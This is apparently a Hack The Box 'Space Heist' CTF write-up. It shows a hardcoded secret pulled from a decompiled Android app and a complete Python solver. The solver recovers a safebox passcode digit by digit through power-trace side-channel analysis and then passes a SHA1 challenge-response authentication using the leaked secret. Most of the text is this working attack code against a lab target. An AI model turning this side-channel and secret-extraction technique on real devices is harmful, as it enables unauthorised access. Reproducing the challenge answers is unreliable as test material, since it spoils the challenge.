HackTheBox Space Heist Writeup
Explore the basics of cybersecurity in the Space Heist Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
Decompile using http://www.javadecompilers.com/
You will find
1
private static final String SECRET = "qvb4a1b07E870B";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import socket
import struct
import matplotlib.pyplot as plt
import hashlib
import sys
from time import sleep
from dataclasses import dataclass
from typing import List, Tuple, Dict
@dataclass
class TraceData:
label: str
samples: List[float]
class PowerAnalyzer:
def __init__(self, host: str, port: int, plot_enabled: bool = False):
self.host = host
self.port = port
self.plot_enabled = plot_enabled
self.valid_chars = "0123456789"
def _recv_bytes(self, conn: socket.socket, n_bytes: int) -> bytes:
buffer = b''
while len(buffer) < n_bytes:
buffer += conn.recv(n_bytes - len(buffer))
return buffer
def _socket_readline(self, conn: socket.socket) -> bytes:
buffer = b''
while True:
char = self._recv_bytes(conn, 1)
buffer += char
if char == b'\n':
break
return buffer
def _recv_trace(self, conn: socket.socket) -> TraceData:
label_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
label = self._recv_bytes(conn, label_len).decode()
trace_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
sample_buffer = self._recv_bytes(conn, trace_len * 4)
samples = [struct.unpack("<f", sample_buffer[i:i+4])[0]
for i in range(0, len(sample_buffer), 4)]
return TraceData(label, samples)
def _find_peaks(self, trace: List[float]) -> List[Tuple[int, float]]:
min_val = min(trace)
max_val = max(trace)
threshold = (max_val - min_val) / 2 + min_val
peaks = []
state = 0
for i, value in enumerate(trace):
if state == 0 and value > threshold:
state = 1
peaks.append((i, value))
elif state == 1 and value < threshold:
state = 0
return peaks
def _calc_delta_peaks(self, peaks: List[Tuple[int, float]]) -> List[int]:
return [curr[0] - prev[0] for prev, curr in zip([(0, 0)] + peaks[:-1], peaks)]
def _plot_traces(self, traces: Dict[str, List[float]]):
plt.figure(figsize=(12, 6))
colors = {'trace_led_auth': 'r', 'trace_led_unlocked': 'g', 'trace_mcu': 'b'}
for label, trace in traces.items():
plt.plot(trace, colors.get(label, 'k'), label=label)
plt.legend()
plt.grid(True)
plt.show(block=True)
def _run_attempt(self, conn: socket.socket, code: str) -> Dict[str, List[float]]:
print(f'Attempting code: {code}')
conn.send(code.encode() + b'\n')
traces = {}
for _ in range(3):
trace_data = self._recv_trace(conn)
traces[trace_data.label] = trace_data.samples
return traces
def analyze_power_trace(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((self.host, self.port))
print(self._socket_readline(conn).decode())
print(self._socket_readline(conn).decode())
conn.recv(1024)
conn.send(b'password')
conn.recv(1024)
code = ['A']
last_delta = None
char_pos = 0
curr_digit = 0
while True:
if curr_digit >= len(self.valid_chars):
print(f'Failed to determine char at position {char_pos}')
break
code[char_pos] = self.valid_chars[curr_digit]
curr_digit += 1
traces = self._run_attempt(conn, ''.join(code))
if self.plot_enabled:
self._plot_traces(traces)
self._socket_readline(conn)
peaks = self._find_peaks(traces['trace_mcu'])
delta_peaks = self._calc_delta_peaks(peaks)
if last_delta is None:
last_delta = delta_peaks[-1]
continue
if last_delta - delta_peaks[-1] > 50:
min_val = min(traces['trace_led_unlocked'])
max_val = max(traces['trace_led_unlocked'])
if max_val - min_val > 1:
print('Successfully unlocked!')
break
last_delta = delta_peaks[-1]
char_pos += 1
curr_digit = 0
code.append('A')
if self.plot_enabled:
self._plot_traces(traces)
return ''.join(code)
def authenticate(self, code: str, secret: str = "qvb4a1b07E870B"):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.connect((self.host, self.port))
for _ in range(2):
print(conn.recv(1024).strip().decode())
conn.send(b'auth')
for _ in range(2):
print(conn.recv(1024).strip().decode())
sleep(0.1)
conn.send(b'getChallenge')
response = conn.recv(1024).strip().decode()
challenge = response.split(":")[1]
message = challenge + secret
sha_hash = hashlib.sha1(message.encode()).hexdigest()
response = f'resp:{challenge}:{sha_hash}'.encode()
conn.send(response)
for _ in range(2):
print(conn.recv(1024).strip().decode())
conn.send(code.encode())
for _ in range(2):
print(conn.recv(1024).strip().decode())
def main():
if len(sys.argv) < 2:
print("Usage: python script.py <ip:port> [plt]")
sys.exit(1)
host, port = sys.argv[1].split(":")
plot_enabled = len(sys.argv) == 3 and sys.argv[2].lower() == 'plt'
analyzer = PowerAnalyzer(host, int(port), plot_enabled)
code = analyzer.analyze_power_trace()
analyzer.authenticate(code)
if __name__ == "__main__":
main()
Summary
Space Heist is a medium-level IoT challenge that involves identifying and exploiting side-channel attacks, including timing attacks and power analysis, to retrieve the correct password for a safebox. By automating the visual inspection process using code and monitoring the LED indicator for the unlocked state, we can efficiently recover the passcode and bypass the security mechanisms. Additionally, reverse engineering an Android mobile app is required to complete the two-phase authentication procedure and open the safe.